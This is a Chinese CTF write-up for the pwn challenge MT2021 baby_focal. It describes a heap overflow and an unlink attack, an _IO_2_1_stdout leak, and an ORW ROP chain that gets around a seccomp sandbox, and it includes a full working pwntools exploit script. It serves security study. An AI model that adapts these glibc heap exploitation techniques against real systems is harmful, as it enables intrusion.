MT2021 baby_focal

新年怎么也得干些新的事情 ——————by wondermaker

准备了一下内核环境和做了一下简单的内核uaf,感觉不是很清楚,毕竟内核的知识实在是太大了,重心主要放在内核环境的配置,关于题目如何做,是日后学习的目标

buu的题目刷了快有7页,感觉效果越来越低了,后面的题目未必比前面简单,只是做的人少,而且buu的题实在是太老了,新年我决定开始复现整个2021pwn题,真是任重道远

复现题目之——MT2021 baby_focal

打开ida发现有沙盒

这熟悉的样子,沙盒把execve禁了不用多看,是orw。程序有用了_ptrace函数来反调试,用keypatch把ptrace和sleep都nop来方便调试
patch完后

程序的漏洞在alloc函数里面,size的编辑不对,多读入了0x10个字节,对于pwn来说off by null 就够了,这给了16个字节,我们干脆当0bn来做吧

程序的glibc是2.31,但是没有和2.31特点扯上关系,calloc来申请,这说明我们不能攻击tache了,但是我们可以随便填满tache,来攻击fastbin,calloc不会申请tache bins里的堆块,还有一个好消息是程序没有开pie,显而易见,我们要用unlink来进行攻击

add(0,0x68)
add(1,0x68)
add(2,0xf8)
add(3,0x68)
ptr=0x404060
pay=p64(0)+p64(0xd0)+p64(ptr-0x18)+p64(ptr-0x10)

edit(0,pay)

edit(1,b'a'*0x60+p64(0xd0)+p64(0x100))
free(2)

储存第一个堆块的地址变成了上面的地址,也就是说我们有了任意地址写的功能,这里我们发现程序没有给show功能,那么我们就在chunk段构造一个unsorted bins来攻击 _IO_2_1_stdout

爆破一位字节后,我们可以leak到libc基值,就剩orw了,这里我们采用通过environ泄露栈地址,并在栈上构造orw rop链的方法,首先我们在free_hook里面写入puts的plt表,然后在堆块里 写入environ 的地址,当我们free这个堆块的时候,我们就会调用puts来输出 environ 的值,这个值就是栈地址,然后调试计算栈地址和ret的差值,申请到ret,写入orw,然后函数返回的时候就会调用rop链来输出flag

#!/usr/bin/python
#coding:utf-8
import os
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./baby_focal'
sh=process(filename)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
elf=ELF(filename)

def add(index,size):
    sh.sendlineafter(">> ","1")
    sh.sendlineafter(">> ",str(index))
    sh.sendlineafter(">> ",str(size))
 
def free(index):
    sh.sendlineafter(">> ","3")
    sh.sendlineafter(">> ",str(index))
 
def edit(index,data):
    sh.sendlineafter(">> ","2")
    sh.sendlineafter(">> ",str(index))
    sh.sendlineafter("content >> ",data)

sh.sendlineafter("name:",'wondermaker')
for i in range (7):
    add(0,0x68)
    free(0)
for i in range (7):
    add(2,0xf8)
    free(2)
add(0,0x68)
add(1,0x68)
add(2,0xf8)
add(3,0x68)
ptr=0x404060
pay=p64(0)+p64(0xd0)+p64(ptr-0x18)+p64(ptr-0x10)

edit(0,pay)

edit(1,b'a'*0x60+p64(0xd0)+p64(0x100))
free(2)
#gdb.attach(sh)
payload1=p64(0)*3+p64(0x404060)+p64(0x500)
add(2,0x1c0)
edit(0,payload1)
payload2=p64(0x404060)+p64(0x500)+p64(0)+p64(0x421)+p64(0x4040a0)+p64(0x500)+p64(0)+p64(0x421)+b'a'*0x3f0+(p64(0)+p64(0x21))*8
edit(0,payload2)
free(2)

payload=p64(0x404060)+p64(0x500)+p64(0)+p64(0x421)+p64(0)*2+p64(0)+p64(0x421)+p16(0x36a0)
edit(0,payload)
payload=p64(0xfbad1800)+p64(0)*3+b'\x00'
edit(0,p64(0x404060)+p64(0x420)+p64(0x4040a8)+p64(0x80))
edit(1,p64(0x80))
edit(4,payload)
#gdb.attach(sh)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1eb980
success("libc_base = "+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
edit(0,p64(0x404060)+p64(0x500)+p64(free_hook)+p64(0x1000)+p64(0)*3+p64(0x421)+p64(libc_base+0x1ebbe0)*2)
gadget = libc_base + 0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx = libc_base + 0x11c371
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
Write = libc_base + libc.sym['write']
add(3,0x100)
add(4,0x100)
edit(1,p64(elf.plt['puts']))
edit(3,p64(libc_base+libc.sym['__environ']))
free(4)
stack=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x140
success("zhan = "+hex(stack))
flag_addr=0x402069
payload=p64(0x404060)+p64(0x1000)+p64(stack)+p64(0x421)
edit(0,payload)
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(Open)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x4040b0)+p64(pop_rdx) + p64(0x80)+p64(0x401210)+p64(Read)
#orw+=p64(pop_rdi) + p64(0x1)+p64(pop_rsi)+p64(0x4040b0)+p64(pop_rdx)+p64(0x30)+p64(0x0)+p64(Write)
orw+=p64(pop_rdi)+p64(0x4040b0)+p64(elf.plt['puts'])
print("len "+hex(len(orw)))
#gdb.attach(sh,'b*0x401822')
edit(1,orw)

sh.interactive()

这里关于unlink,爆破stdout还有泄露栈写入rop进行orw的知识点不在赘述,附上参考链接
unlink :https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
爆破stdout:https://blog.csdn.net/weixin_44145820/article/details/105585889
orw:https://www.anquanke.com/post/id/236832#h3-10

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值